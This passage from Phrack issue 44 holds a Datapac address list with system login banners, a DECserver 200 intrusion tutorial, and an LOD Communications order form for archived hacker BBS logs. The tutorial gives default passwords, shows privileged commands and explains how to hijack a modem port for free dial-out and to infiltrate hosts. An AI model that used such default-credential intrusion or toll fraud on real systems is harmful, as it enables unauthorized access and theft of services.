32500406             VAX/VMS   MicroVMS 5.3-1
32500523             SERVICE ID=
32500680             XMUX      node: WINDSOR
32500692             XMUX      node: WINDSOR
32500713             XMUX      node: STTHOMAS
32500850             DATAPAC: WII SYSTEM READY
32600052             Compuserve
32600056             PRIMOS    22.1.2.R3    PBTOOL
32600243             VAX/VMS
33400115             SERVICE ID=
33400223             Adjusters Canada Inc. Please enter X25 Security
33400246             PRIMOS    22.0.3.R37    BLTCAD
33400306           $ Datapac Public OD
33400337           $       ""
33400344           $       ""
33400345           $       ""
33400346           $       ""
33400347           $       ""
33400348           $       ""
33400349           $       ""
33400521             ISM
33400550             ULTRIX
33400589           $ Datapac Public OD
33400590           $       ""
33400591           $       ""
33400609             ISM
33400630             PRIMOS     22.1.3 THOR Engle Canada
```

```
33400672             UNIX       192.9.200.1
334006723            MACHINE    (XMUX machine)
33400694             Sim3278
33400703             UNIX       AT&T SV - WLU
3340070399           MPX.25102: PASSWORD
33400892             ===>
33400900           $ Datapac Public OD
33400901           $        ""
33401149             XMUX      node: KITCH
33401414             Datapac Public OD
33401415                    ""
33401453             DYNIX     SpaeNaur SVR4
33401462             Datapac Public OD
33401475             Chase IoLan Terminal Server
334014751            XMUX      node: WATERLOO
33401528             UNIX
33401537             Sim3278
33500021             JMS Online Service. Please enter ID:
33500033           $ ENTER LOGON REQUEST
33500081             JMS Administator line. Enter SYSTEM or SERVICE.
33500099                                     " "
33500110             XMUX      node: WATERLOO
33500136             Wilfrid Laurier University x.25 PAD
33500142             Prudential Assurance / Kitchener
33500196             University of Waterloo online Library
33700015             PICK
33700115             STARMASTER Agriculture Canada Ontario Regional Com. Cent.
33700133             XMUX      node: 362
33700216             XMUX      node: 767
33700236             VAX/VMS   Wellington Country Roman Catholic School Board
33700238             VAX/VMS
33700345             VAX/VMS
33700346           $ HP3000DTC Enter DTC port password:
33700348             DATAPAC : KIT SYSTEM READY
33700349           $ ZAM0001
33700376           $ VAX/VMS   Ontario College Application Service
33700393             ::
33700465             ISM       NET-PASS NPA MAGIC
34100013             VAX/VMS
34200139             SERVICE ID=
35100010           $ VAX/VMS
35500179             PICK      WELCOME TO HAC INFO NETWORK
35600110           $ Datapac Public OD
35600158             UNIX      3x3
35600273             DEVELNET  University/Hospital Network
35600900           $ Datapac Public OD
35600901           $        ""
36200027             MHP201A U0000053  Ver 7.0.5 APPLICATION:
36700021             USER NUMBER --
36700026             VAX/VMS
36700030             USER NUMBER --
36700038           $ UNIX
36700059             QINTER
36700115             OCC System
36700126             SERVICE ID=
36700172             SAFEGUARD 2>
36700183             XMUX      node: DP01
36700184             XMUX      node: DP02
36700185             HP3000
36700369             NETWORK CONTROL
36700372             SAFEGUARD 4>
36700381             Sim3278
36700382             Sim3278
37200020             VAX/VMS
37500014             VAX/VMS
37600014             SERVICE ID=
37600020             HP3000    HP900.HCB.CANADA  MPE/XL
37600027             MHP1201I TERMINAL CONNECTED TO PACKET/400
37600029             XMUX      node: HAMILTON
37600044           $ ISM       SCC INTERACTIVE SERVICES
```

```
37600066             MHP1201I TERMINAL CONNECTED TO 4.15 PACKET/74
37600152             XMUX      node: HAMILTON
37600166             XMUX      node: BUTLER
37600176             XMUX      node: DISCOUNT
38300083             VAX/VMS
38500079           $ TANGRAM ARBITER LU1
38500085             HCH Magic
38500122             PACX      CCINFO
38500150           $ Datapac Public OD
38500151           $        ""
38500152           $        ""
38500153           $        ""
38500154           $        ""
38500163           $        ""
38500164           $        ""
38500165           $        ""
38500198           $        ""
38500200           $        ""
38500201           $        ""
38500202           $        ""
38500203           $        ""
38500204           $        ""
38500205           $        ""
38500226             XMUX      node: (no node name)
38500262             Please enter your operator number
38500329             #
38500356             PACX      CCINFO
38500399             SERVICE ID=
38500400             ::
38500431             VAX/VMS
38500586             VAX/VMS   MicroVMS v5.3
38500891             VAX/VMS
38500900           $ Datapac Public OD
38500901           $        ""
38501019             XMUX      node: WELLAND
38501149             XMUX      node: CPNWRI
38501151             VAX/VMS
38501155             DATAPAC : BUR SYSTEM READY
38501175             CDCNET
38501194             VAX/VMS   AEG Electrocom CDN_CECO  V25.3
38700015             VAX/VMS   BURCOM - MicroVAX ][ - MSB
38700022             XMUX      node: RBURL
38700048             PRIMOS    20.2.6 SYSD
38700068           $ Bailey Controls Canada
38700119             ::
38700127             XMUX      node: STORE031
38700132             XMUX      node: LIMRIDGE
38700152             PRIMOS    20.2.6 SYSF
38700153             PRIMOS    20.2.6 SYSL
38700155             XGATE:
38700162             XMUX      node: QUEENSTN
38700261             XMUX      node: HAMILTON
38700262             XMUX      node: FORTERIE
38700426             XMUX      node: HAM
38700583             XMUX      node: DISCNT2
38700629             XMUX      node: NIAGARA
39100017             MERLIN    SYSTEM 2
39100019             MERLIN     ""
39100020             MERLIN     ""
39100041             Id:          LU:Z0068
39100043             Id:          LU:Z0070
39100044             Id:          LU:Z0077
39100045             Id:          LU:Z0078
39100049             Green Line Investor Services
39100057             VAX/VMS   Burns Fry Analytics Inc. Fixed Income Research
39100077             Toronto Public Library
391000775            XMUX      node: TPL
39100092             INT/UNIX  system name: cirus 2  INTERACTIVE SYSTEMS CORP.
39100146             XMUX      node: STORE088
39100200             iNet2000
```

```
39100234             VAX/VMS   Burns Fry Ltd.  MicroVAX 3800
39100395             HP3000
39100498             STARMASTER
39100503             MERLIN    SYSTEM 2
39100566             STARMASTER     NORBORD Industries
39100566             Console
39100581             AOS/VS
39400100             iNet2000
39400101             iNet2000
39500032             INFOGLOBE DATABASE--PLEASE SIGN ON
39500032             Globe & Mail
40100012             PACX      U.C.G.  PACX 2000
41100043             Infoglobe
41100045             Interactive UNIX
41100054             Green Line Investor System
41100065             Imprimerie Quebec
41100301             Prime Net
41100656             Lotus CSG
41100681             ??
43900170             ECHO System
55500010             French?
59100088             U Of A 3000 System
59100092             Keyano College-Alberta
59100099             VMS/VAX
60100010             U of Alberta
62400440             UNIX 2000 System
62600009             Private Network
62600045
62600046             Service Id:
66600062             Van-Reg
66600180             ??
67100752             User Name?
67101408             ??
67101700             Cloverdale Paint
67101802             VMS/VAX
69100018             CYBERSHARE
69100376             VMS/VAX
69200032             Lucky (VMS/VAX)
69200239             Environment Winnepeg
69200343             User Id:
70300066             Brandon University
72100315             SPMC (VMS/VAX)
72100465             MCR
72101002             VMS/VAX
72101058             SPECIFY APPLICATION DESIRED
72101109             Information System Management
72400014             Max Daisley System (VMS/VAX)
72400100             Envoy
72400101             Envoy
78100092             VMS/VAX
78100209             VMS/VAX
78100265             VMS/VAX
78100476             Hewlett Packard System
78100876             DYNIX S6000
78101097             VMS/VAX
79400100             Envoy
84400095             Profits
84400237             Service Id:
84400312             GEnie Network
84400513             SuperDOS
84400526             BNF: DATAPAC SYSTEM READY
84400571             Daily Oil & Associates BBS
84800410             VMS/VAX
84800535             CAS: DATAPAC
84800700             VMS/VAX
84800728             %XGATE
84800784             XENIX System
84800829             Alberta Wheat Pool
84800888             ALLSTATE (VMS/VAX)
91100014             Gandalf System - Canadian Facts
```

```
91100174             VMS/VAX
91100482             Grassroots System              (Special Emul. Needed)
92100086             DATAPAC Information
93200233             UM-Net
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 22 of 27

****

-- An Introduction to the DECserver 200 --

by Opticon The Disassembled

ANARCHY: "The belief that society
can be maintained without prisons,
armies, police or other organized force to
maintain property rights, collect taxes or
enforce such personal obligations as debts,
contracts or alimony." -EB 1966, vol.I
(taken from the Phrozen Realm)

"If ur good, nobody knows that ur there"

The DECserver is a terminal server (WOW!). The Model 200 is the most commonly found server in VMS machines. This device connects up to eight asynchronous (RS232C) terminals to one or more hosts available on an Ethernet Local Area Network.

It is connected to the LAN through an Ethernet physical channel and supports speeds up to 19.200bps. It can be found on VAXes, mVAXes and VAXstations. It uses the Local Area Transport protocol to communicate with the other nodes. It also implements the Terminal Device/Session Management Protocol to achieve multiple sessions. Things that can be found plugged on it include dial-in and out modems, terminals, printers and stuff like that. The identification code for it in VMS is DS2. It's software is installed via VMSINSTAL.COM to SYS$SYSROOT:[DECSERVER] or in SYS$COMMON:[DECSERVER] for the cluster machines. And of course now you will ask why should you be interested in a damn phucking (=relief, back to my native language) SERVER. A lot of interesting things can be done, like dialing out for free (assuming you can connect to it in a convenient way). You can even find a DEC server 200 dedicated to eight high speed modems. There is no need to say that you need privileges to phuck up with devices like that...or there is?

..Set Default to SYS$SYSROOT:[DECSERVER] and run DSVCONFIG.COM :

```
$
$ set default sys$sysroot:[decserver]
$ show default
  SYS$SYSROOT:[DECSERVER]
  =   SYS$SYSROOT:[DECSERVER]
  =   SYS$COMMON:[DECSERVER]
$ @dsvconfig

    You must assign a unique DECnet node name and DECnet node
address for each new DECserver.

Press <RET> to start, or <CTRL/Z> to exit...

      D E C s e r v e r   C o n f i g u r a t i o n   P r o c e d u r e

                                                          Version: V1.7

                                   Menu of Options

                           1 - List known DECservers
                           2 - Add a DECserver
                           3 - Swap an existing DECserver
                           4 - Delete an existing DECserver
                           5 - Restore existing DECservers
                      CTRL/Z - Exit from this procedure
```

```
        Your selection? 1

DECnet  DECnet Server Service
Address Name   Type   Circuit   Ethernet Address   Load File      Dump File
------- ------ -----  -------   -----------------  -------------  -------------
 1.1    KEYWAY DS200  BNA-0     08-00-2B-07-39-5E  PR0801ENG.SYS  DS2KEYWAY.DMP
 1.2    REVEAL DS200  BNA-0     08-00-2B-28-32-CB  PR0801ENG.SYS  DS2REVEAL.DMP
 1.3    OASIS  DS200  BNA-0     08-00-2B-26-A9-57  PR0801ENG.SYS  DS2OASIS.DMP
 1.4    PAWN   DS200  BNA-0     08-00-2B-24-F3-98  PR0801ENG.SYS  DS2PAWN.DMP
 1.5    OPAQUE DS200  BNA-0     08-00-2B-11-EA-D4  PR0801ENG.SYS  DS2OPAQUE.DMP
 1.6    TOKEN  DS200  BNA-0     08-00-2B-10-64-98  PR0801ENG.SYS  DS2TOKEN.DMP
 1.7    KERNEL DS200  BNA-0     08-00-2B-12-D6-39  PR0801ENG.SYS  DS2KERNEL.DMP
 1.8    IRIS   DS200  BNA-0     08-00-2B-12-D6-39  PR0801ENG.SYS  DS2IRIS.DMP
 1.9    NEBULA DS200  BNA-0     08-00-2B-12-D6-39  PR0801ENG.SYS  DS2NEBULA.DMP

Total of 9 DECservers defined.
(Press RETURN for menu)
```

Connecting to one of them:

```
$ mc ncp connect node iris

Console connected (press CTRL/D when finished)
#
```

Here you must give a password. The default one is usually working so try "access". Only in "high security" systems they change the default password, because privileges are needed anyway to access the Network Control Program (which can be a possible subject for my next article). But since you are in using a system account (..privileged) you can change the current password if you find any good reason for doing so. More on that later.

```
DECserver 200 Terminal Server V3.0 (BL33) - LAT V5.1

Please type HELP if you need assistance

Enter username> <type anything here it doesnt really matter>
```

You are in.

In the DECserver there are Permanent and Operational databases. The permanent database holds commands which affect the device permanently when you log out. In the Operational database whatever you do is temporary and takes effect only for the time you are logged in.

Let’s go on by trying to get the default privileged account which enables you to view various things and make changes other than the normal ones.

```
Local> set privileged
Password> system
```

Again the default password should work.

```
Local> show hosts

Service Name        Status       Identification

VMS               1 Connected    Welcome to VAX/VMS V5.4-2
MODEM               Available    Dial In And Out
UNIX                Available    BSD

Local> show nodes

Node Name           Status       Identification

VMS               1 Connected    Welcome to VAX/VMS V5.4-2
UNIX                Reachable    BSD
IRIS                Reachable
```

```
Local> show services

Service Name        Status       Identification

VMS               1 Connected   Welcome to VAX/VMS V5.4-2
MODEM               Available    Dial In And Out
UNIX                Available    BSD (RISC)

Local> show users

Port    Username             Status          Service

  1     anything             Connected       VMS

Local> show sessions (it'll display YOUR sessions)

Port 1:  anything            Local Mode    Current Session: None
```

** Before proceeding lets have a better look at some Features DECserver 200 has, needed to understand some interesting things which follow or even some things that were previously mentioned.

Remote Console Facility (RCF) is a management tool which helps you to connect remotely to any server available via it's management port. This is not hardware, but a logical port although it still has the same characteristics physical ports have.

There are Privileged, non-Privileged and Secured ports. These are variables you can define by the time you manage to get the privileged account. A privileged port accepts all server commands. You can perform tests, define server operations, maintain security and all that bullshit. If you don't understand it yet, this status is enabled with the SET PRIVILEGED command we have used previously.

A non-Privileged port can only manage and use commands which affect the sessions that are currently connected to a host or node. This is the default status of course.

A Secured port is something in between. Users can make use of a restricted command set to make changes which affect only the port they own ("Property is theft but theft is property too, Prounton." Pardon me if the translation was destructive to the original meaning of this phrase, and if I piss you off every time I start talking about things that are completely irrelevant to the grand scheme of things and everything my articles are SUPPOSED to deal with).

Our little unit has 5 types of passwords and that will help you understand how important it is for the whole system.

(1) A PRIVILEGED password is what you should be aware of by now. You can SET/DEFINE SERVER PRIVILEGED PASSWORD "string", to change it.

(2) A LOGIN password prevents the use of the server by unauthorized users. This can be enabled for every port or for a single dial-in modem port. You must first specify the password for the entire server via SET/DEFINE SERVER LOGIN PASSWORD and then, enable or disable it depending on the needs of a specified port, via SET/DEFINE PORT x LOGIN PASSWORD ENABLED/DISABLED. This password takes effect when you try to login to a port. The prompt is a "#" sign, without the double quotes.

(3) A MAINTENANCE password prevents unauthorized users from doing remote maintenance operations like the one we did after we ran DSVCONFIG.COM. "The DECnet service password corresponds to the server maintenance password and it is entirely unrelated with the DECserver 200 service password". In other words someone who wishes to modify a value in your server must give in the NCP> command line, a parameter which specifies your server's maintenance password. Of course if this password is set to null (0) no password is needed. Also "Digital Equipment Corporation recommends

against storing the password in the DECnet database (as the DECnet service password) and it strongly suggests that you change the maintenance password from the default value of 0 to maintain adequate server security"
...tsk tsk tsk...

(4) A SERVICE password protects a service or services defined on the server. You can increase or decrease the number of attempts before the server gives a message, informing that the connect has failed because of an invalid password, via SET/DEFINE SERVER PASSWORD LIMIT.

(5) A LOCK password protects your current sessions and port from other unwanted human substances. The server accepts no input until you retype the password you used for locking it.

Finally, a port may be available only for certain users or groups.

** As you can see, it can be really tough to break VMS' security if all the available measures are taken.

Research for modems:

```
Local> show port 8

Port 8:                                Server: IRIS

Character Size:            8           Input Speed:        19200
Flow Control:            XON           Output Speed:       19200
Parity:                 None           Modem Control:   Disabled

Access:                Local           Local Switch:       None
Backwards Switch:       None           Name:             PORT_8
Break:                 Local           Session Limit:         4
Forwards Switch:        None           Type:               Soft

Preferred Service: None

Authorized Groups:   0
(Current)  Groups:   0

Enabled Characteristics:

Autobaud, Autoprompt, Broadcast, Input Flow Control, Loss Notification,
Message Codes, Output Flow Control, Verification
```

Simple configuration, probably nothing or a terminal in there. What this screen says is that we have on server IRIS, on port 8, something with character size of 8, flow control XON (it could be CTS -hardware-), parity none, input speed 19200bps, output speed 19200bps and modem control disabled.

All the other information have to do with the server and how it reacts to certain things. So if the preferred service was "VMS" and you were logging in through port 8, you would immediately connect to the VAX without having the server asking you where to log you to. The "break: Local" variable means that if you send a break character you will find yourself in the "Local>" prompt even if you have been working in the UNIX OS of the "UNIX" host and that lets you start multiple sessions. Quite useful. The forward and backward switches are for moving around your sessions. Everything can be modified.

For more information concerning the parameters have a look at the command reference or the help utility.

```
Local> show port 1

Port 1:                                Server: IRIS

Character Size:            8           Primary Speed:      9600
Flow Control:            CTS           Alternate Speed:    2400
Parity:                 None           Modem Control:   Enabled

Access:              Dynamic           Local Switch:       None
```

```
Backwards Switch:       None           Name:            MODEM_1
Break:                 Local           Session Limit:         4
Forwards Switch:        None           Type:               Soft

Preferred Service: VMS

Authorized Groups:   0
(Current)  Groups:   0

Enabled Characteristics:

Autobaud, Autoconnect, Autoprompt, Broadcast, Dialup, DTRwait,
Inactivity Logout, Input Flow Control, Loss Notification,
Message Codes, Output Flow Control, Ring, Security, Verification
```

And that's, obviously, a modem. The speed, the modem control and the enabled characteristics will help you understand even if the name is not helping at all. Have a look at the "Alternative Speed" option.

What to do now that you have find it?

```
Local> set port 1 modem control disabled
Local> set service modem port 1
Local> connect modem
```

Start programming. This way is a little bit awkward and of course there is a possibility that the modem is ALREADY defined as a dial-out modem. You are a privileged user, don't forget that. I would recommend not to harm the server ("nothing comes from violence and nothing ever good") and to leave things as u find them. DO NOT create a permanent dial-out modem service (which can be done directly from VMS if you really want to) and DO NOT forget that somebody has to pay for your calls and that the line which the modem uses, may be limited to certain numbers or even prevent out-dialing by hardware. Use your brains...And don't stick in the idea of researching modems. You can use a DECserver to infiltrate a system. Don't misuse those introductions.

Overview of Commands (in alphabetical order)

* BACKWARDS
  Goes back to a previous session.
* BROADCAST
  Sends a message to a port.
* CLEAR
  Clears a service. It belongs to the Operational Database.
* CONNECT
  Connects to a service or port.
* CRASH
  Shuts down the server and reinitializes it.
* DEFINE
  Defines something. It belongs to the Permanent Database.
* DISCONNECT
  Disconnects a session or port.
* FORWARD
  Goes forward to a following session.
* HELP
  Help.
* INITIALIZE
  Reboots the server. You can specify a delay in minutes and "Local>initialize cancel" if you decide, finally, not to do it.
* LIST
  Displays information on something; Devices,Nodes,Ports,Queue, Server, Services, Sessions...
* LOCK
  Locks your terminal with a password you specify that moment. Retype your temporary password to continue.
* LOGOUT

```
         Logs out the specified port.  If none, your current port.
     *  MONITOR
         Devices, Nodes, Ports, Queue, Server, Services, Sessions...
     *  PURGE
         Purges a service from the Permanent database.
     *  RESUME
         Resumes a session.
     *  SET
         Devices, Nodes, Ports, Queue, Server, Services, Sessions,
         Characteristics,Privileged,NONprivileged...It belongs to the
         Operational database.
     *  SHOW
         Everything.
     *  TEST
         Tests a LOOP, PORT or SERVICE.
```

An interesting Warning Message, just for informational purposes, is the following;

```
      " Local -120- WARNING - Access to service is not secure

        Session status information cannot be passed between the
        server and the attached device because modem signals are
        not present.  This is not a problem if the device is a
        non-secure printer; however, if the port is a non-LAT
        host system, users could access other users' data. "
```

That's all for now I think.

There are many things to explain but there is no reason for doing that right now. If you need more information then just have a look at the HELP utility or contact me, somehow. [I hope you have not misunderstood my strange looking article because my native language is not English]

" Opticon: Don't you think that I'm getting insane?
  TLA: Yeah, sure looks like it..."

Love and An-archy to all those who know why.

BREAK DOWN THE WALL

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 23 of 27

****

The LOD Communications Underground H/P BBS Message Base Project:
Information and Order Form File Version #2, 7/30/93

This file contains:

- Background information on the project;
- Excerpts from Computer underground Digest (CuD) Issue #5.39;
- UPDATED FAQ AND PRICING; and,
- UPDATED Order form and stipulations.

This is an update of Version #1 of this file. A change in pricing structure (to your benefit) has been made along with some additions to the FAQ among other things. All sections that have been changed/updated are bordered by 3 asterisks (*** ___ ***). Please take the time to read through the updates. Sections without asterisks have not been changed and are essentially the same as in Version #1. This file is approximately ten pages in length (28K) and should answer all of your questions.

The Project:

Throughout history, physical objects have been preserved for posterity for the benefit of the next generation of humans. Cyberspace, however, isn't very physical; data contained on floppy diskettes has a finite lifetime as does the technology to retrieve that data. The earliest underground hacker bulletin board systems operated at a time when TRS-80s, Commodore 64s, and Apple][s were state-of-the-art. Today, it is difficult to find anyone who has one of these machines in operating condition, not to mention the brain cells left to recall how to operate them. :-(

LOD Communications has created a historical library of the "dark" portion of Cyberspace. The project's goal is to acquire as much information as possible from underground Hack/Phreak (H/P) bulletin boards that were in operation during a decade long period, dating from the beginnings (in 1980/81 with 8BBS and MOM: Modem Over Manhattan) to the legendary OSUNY, Plover-NET, Legion of Doom!, Metal Shop, etc. up through the Phoenix Project circa 1989/90. Currently, messages from over 50 different BBSes have been retrieved, although very few message bases are 100% complete. However, not having a complete "set" does not diminish their value.

Who Benefits From This Information?:

- PARTICIPANTS who were on the various H/P BBSes may want to see their contribution to history or reminisce about the "golden era" of hacking;

- ENTHUSIASTS who came into the "scene" after most of these boards were down may want to see what they missed;

- COMPANIES who may want to see if their (or their competitors') phone systems, computers, or networks were compromised;

- SECURITY PROFESSIONALS/LAW ENFORCEMENT who may want to see what techniques were used to subvert computer security systems;

- SCHOOLS AND UNIVERSITIES (including their libraries) who may want to use the information for research in sociology or computer science as well as for educational purposes in courses such as Computer Law, Computer Ethics, and Computer Security;

- AUTHORS/PRESS who may want to finally get the facts straight about "hackers"; and,

- THE CURIOUS PUBLIC who may want to sneak a peek into the inner realm of the Computer Underground, especially those Restricted Access BBSes and their Private sub-boards where only a small handful of "the best" resided.

Were the individuals involved in the Computer Underground out to start World War III, selling secrets to the Soviets, working with organized crime, conspiring to do evil, or just a bunch of bored teenagers with nothing better to do? How much did they know, and how did they find it out? Did they have the capability to shut down phone service of Area Code portions? Could they ruin someone's credit? Could they "move satellites in the heavens?" Could they monitor packet switching network conversations or YOUR conversations? The answers lie within the messages themselves.

*** Why is LODCOM Charging Money For The Message Bases?: ***

As happens with most projects, the effort and monetary investment turned out to be substantially more than originally anticipated. With all of the high-tech equipment available today, people sometimes forget that in the early 1980s, 14.4K baud modems and 250 MB hard drives were just a fantasy for the home computer user. Most messages Lodcom has recovered were downloaded at 300 baud onto 143K disk drives, with each file usually no larger than 15K in size. One could not call a BBS and download the complete message base in 10 minutes and save it into one file. Literally hundreds of man-hours have been spent copying dusty Apple][disks, transferring them to IBM (or typing in hard copy versions when electronic versions were unavailable), organizing over one thousand individual files (thus far) according to what BBS the messages were originally posted on, and splicing the files together. Also, after consulting with the appropriate civil liberties organizations and our own legal counsel, a slight editing of the messages (restricted to long distance access codes, phone numbers, and computer passwords) had to be made to ensure that there is nothing illegal contained within the messages. Every effort was made to keep the messages in their pristine condition: 40 columns, ALL CAPS, spelling errors, offensive language, inaccuracies of various kinds, and ALL.

Although a fairly comprehensive collection of the goings-on during a decade of public and private computer underground activity has been accomplished, there are more messages out there. It is our wish to continue to document the History of the Computer Underground. In order to do this, and in order to break even on what resources have already been expended (it is a LOT more than most people realize), a dollar value has been attached to the entire compilation of message bases (ie, all Volumes combined). Without your understanding and support, this effort may not be able to sustain itself long enough to complete the project. A large portion of any profits will be recycled for two other projects in the works, whose aim is to provide additional historical background on the Computer Underground Community. That is, no one involved is quitting their day job :-)

DONATIONS: A portion of every order will be donated to the following causes:

1) A donation will be made to help pay for Craig Neidorf's (Knight Lightning - Metal Shop Private Co-Sysop) Legal Defense bills (resulting from his successful campaign to protect First Amendment rights for electronic publishing, i.e. the PHRACK/E911 case).

2) The SotMESC Scholarship Fund. The SotMESC Scholarship is awarded to students writing exceptional papers of 20 to 30 pages on a topic based on computer culture (ie, hacking culture, virus writing culture, Internet culture, etc.) For more details write: SotMESC PO BOX 573 Long Beach, MS 39560 or email: rejones@seabass.st.usm.edu

What Each "Message Base File" Contains:

- A two page general message explaining H/P BBS terminology and format.

- The BBS Pro-Phile: A historical background and description of the BBS either written by the original system operator(s) or those who actually called the BBS when it was in operation (it took months to track the appropriate people down and get them to write these specifically for this project; lesser known BBSes may not contain a Pro-Phile);

- Messages posted to the BBS (i.e. the Message Base);

- Downloaded Userlists if available; and

- Hacking tutorials a.k.a. "G-Philes" that were on-line if available.

It is anticipated that most people who are interested in the message bases have never heard of a lot of the BBS names shown in the listing. If you have seen one set of messages, you have NOT seen them ALL. Each system had a unique personality, set of users, and each has something different to offer.

Formats the Message Base Files are Available in:

Due to the large size of the Message Base Files, they will be compressed using the format of your choice. Please note that Lodcom does NOT include the compression/uncompression program (PKZIP, PAK, etc.). ASCII (uncompressed) files will be provided for $5.00 extra to cover additional diskette (files that are uncompressed require more than double the number of diskettes) and shipping costs. The files are available for:

- IBM (5.25 or 3.5 inch)
- AMIGA (3.5 inch)
- APPLE MACINTOSH (3.5 inch)
- PAPER versions can be ordered but cost triple (due to increased shipping costs, time to print order, and messages being in 40 column format and therefore wasting lots of paper...save those trees!). Paper versions take twice the time to deliver but are laser printed.

Orders are expected to arrive at the requesters' physical mail box in 3-5 weeks upon receipt of the order.

*** FAQs (Frequently Asked Questions): ***

QUESTION: In VERSION #1 of this file a minimum order size of $20.00 was required but I don't see that in this version. Also all the individual Message Bases had a price. Why the change?

ANSWER: After disseminating the first version of this information file, we received a very good response as far as orders are concerned. Since our goal is to recoup the expenses incurred (and still incurring) on this project rather than 'fleece the masses' it was decided to lower the overall price which translates to offering more files for the same old price. That is, you will receive ALL Volumes of this project for $39.00 rather than just the 1st Volume as was mentioned in the last release of this information file. As for the minimum order ($20.00), since EVERYONE who has thus far ordered the Message Bases ordered the complete volume (was Volume #1 only, now it's all volumes) rather than individual message bases, we decided to do away with individual Message Base pricing due to lack of demand.

QUESTION: How many Volumes will Lodcom be releasing?

ANSWER: Three Volumes minimum, possibly a fourth if additional material is obtained. There are still a few contributors who have material that hasn't been sent to us yet. The expected release of future Volumes are:

Volume 1: 5700+ Messages, 20 H/P BBSes, COMPLETED.
Volume 2: 15-25 H/P BBSes, September 1993.
Volume 3: 15-25 H/P BBSes, November 1993.
Volume 4: If there is one, End of December 1993.
All in all there is expected to be 15000+ Messages.

QUESTION: How long will these Message Base Files be available?

ANSWER: We cannot say for sure. This is an ongoing effort and your support will allow us to continue until we are satisfied with having recovered the last decent scraps of messages out there. Assuming there is a demand for these messages, all H/P BBSes of WORTH (i.e. NON-"codez" and NON-"warez" systems) are expected to be offered by the end of this year (1993). A Guesstimate of what will be offered is 60 to 80 Message Bases, half of which will be rather partial. Orders are expected to be filled at least into the beginning of next year (1994) although this may change. Regardless, we will send out notification well in advance of ceasing operations.

QUESTION: I ordered Volume #1 already, is your new pricing retroactive?

ANSWER: Yes. If you have already ordered Volume #1, when the next Volume is completed it will be sent out to you without any action on your part. If you change mailing addresses be sure to notify us. Think of this as a Subscription of sorts. Order now and all completed Volumes will be sent to you. When another Volume is finished it will be sent out automatically. If it wasn't for all of you who have already ordered and showed your support, we would not be able to offer ALL the Volumes for what you paid for the first Volume.

QUESTION: What if lodcom obtains more messages from a BBS or BBSes after a Volume has been shipped to me, will I get those messages also?

ANSWER: Yes. Any additional messages to a H/P BBS that we obtain after shipping that BBS file to you will be sent to you either via email or via snail mail on another diskette.

QUESTION: I would really like to get a feel for what a few of the boards were like before I order them. Can I get more info?

ANSWER: Yes. A Sample of actual messages is available by performing the following, so long as you have TELNET access to the Internet:

```
Telnet to:  phantom.com  (or)  198.67.3.2
Type:       mindvox          [To enter the Mindvox system]
login as:   guest            [To look around]
At prompt:  finger lodcom    [To see our Sample Messages File]
```

If you do not have TELNET access to the Internet, AND your host will NOT "bounce" a 50K file, Lodcom will send you the Sample Messages File if you specifically request it. The file has 31 fairly typical messages from Five H/P BBSes that operated between 1983 and 1989.

QUESTION: "Can I help out? I have some old messages" (either on a C64, Apple, IBM [best for us], or printout).

ANSWER: Contact us ASAP! We will work out an equitable agreement depending on the quantity, quality, format, and "ancientness" of the messages. Your contribution will not go unrecognized.

QUESTION: I would like another person's point of view on this project before I decide to order. Where can I get more information?

ANSWER: See the following excerpt from Cud #5.39. We also list where you can get the original CuD issue which also includes an interview and some BBS Pro-philes.

*** CuD Excerpts: ***

Computer underground Digest   Sun May 30 1993   Volume 5 : Issue 39
ISSN 1004-042X

Editors: Jim Thomas and Gordon Meyer (TK0JUT2@NIU.BITNET)

CONTENTS, #5.39 (May 30 1993)
File 1--The LOD Files - A CuD Critique
File 2--Histories of BBSes (excerpts from the LOD files)
File 3--LOD Project Summary and Contact Information
File 4--An Interview with the LOD

Cu-Digest is a weekly electronic journal/newsletter.
Issues of CuD can be found in the Usenet comp.society.cu-digest news group.
U.S. Anonymous FTP: ftp.eff.org (192.88.144.4) in /pub/cud directory.
Back issues may be obtained through mailserver at: server@blackwlf.mese.com

*** {The following excerpts are from CuD #5.39 File 1, CuD's Critique} ***

"...Lest there be any confusion, there remains only one LOD, most of its original members are in periodic contact, they have long since become adults, and there is no relationship between the original LOD and any recent individuals or groups claiming the name.

But who really cares??

CuD, for one cares. The original LOD remains a cultural icon of the 1980s in computer culture, and--for better or worse--it was the most influential and imitated group whose mystique continues into the mid-90s. This alone is hardly sufficient reason to worry about a label. The identity is important because the original members are becoming involved in projects that reflects their activities of a decade ago, and it becomes confusing when others scurry about trying to associate with that identity. If questions of identity arise, confusion over and doubts about the credibility of the projects arise.

One current LOD project has impressed us. The original LOD members are compiling logs from a number of the premier "hacker underground BBSes" of the 1980s. We have obtained excerpts from the project, and we are impressed with the professionalism and comprehensiveness of the material.

Working collectively under the name "LOD Communications," former members have scoured their archive for BBS logs from the mid-to-late 1980s. The logs include BBSes such as OSUNY, Twilight Zone, Forgotten Realm, Black Ice Private, Phoenix Project, Face to Face, Alliance, and Plover-NET, among others. Many were the primary boards of the era, and others typify secondary levels of the culture. Both singly and in the aggregate, the collection provides an unprecedented view into a culture that most of us only read about in "Cyberpunk" or "The Hacker Crackdown."

We like the material for several reasons. First, as researchers, we find even the limited material we have seen to date as a rich source of data for anybody who wants to understand the culture of time. It is as if somebody had walked though San Francisco's Haight-Ashbury district with a video-cam during the "Summer of Love" and then released the tapes years later. It's an anthropologists dream, a sociologists data trove, and a historian's archival orgasm. Even law enforcement and security personnel would find it helpful for demystifying many of the misconceptions of "hackers." For others, it's simply fun reading.

The logs are sufficiently entertaining and useful when each board is read individually. However, the power of the collection comes in reading them as chapters in a novel, as segments at different points in time that combine to give the individual posters and the boards a personality. We find ourselves wanting to know more about some of these people: How did they resolve their problems? Who was the alleged informant on a given board? Can we spot them from the posts? How did that poster resolve his problems? What happened to these people later?

Many of the logs' posts are flattering, others are less so. To their credit, the lodcom editors have left it all intact to let the readers see and judge for themselves what occurred on the underground boards. The LOD collection provides an authentic look into what went on, and reading them gave us a feeling of deja vous all over again."

*** {End CuD #5.39 Excerpts} ***

VOLUME #1 CONTENTS:

LOD Communications (c) 1993: VOLUME #1 List of Hack/Phreak BBS Message Bases

BBS NAME	A/C	SYSOP(S)	# MSGS	DATES	KBYTES	PROPHILE
Alliance BBS	618	Phantom Phreaker Doom Prophet	113 G,P	2/09/86 - 6/30/86	215	YES
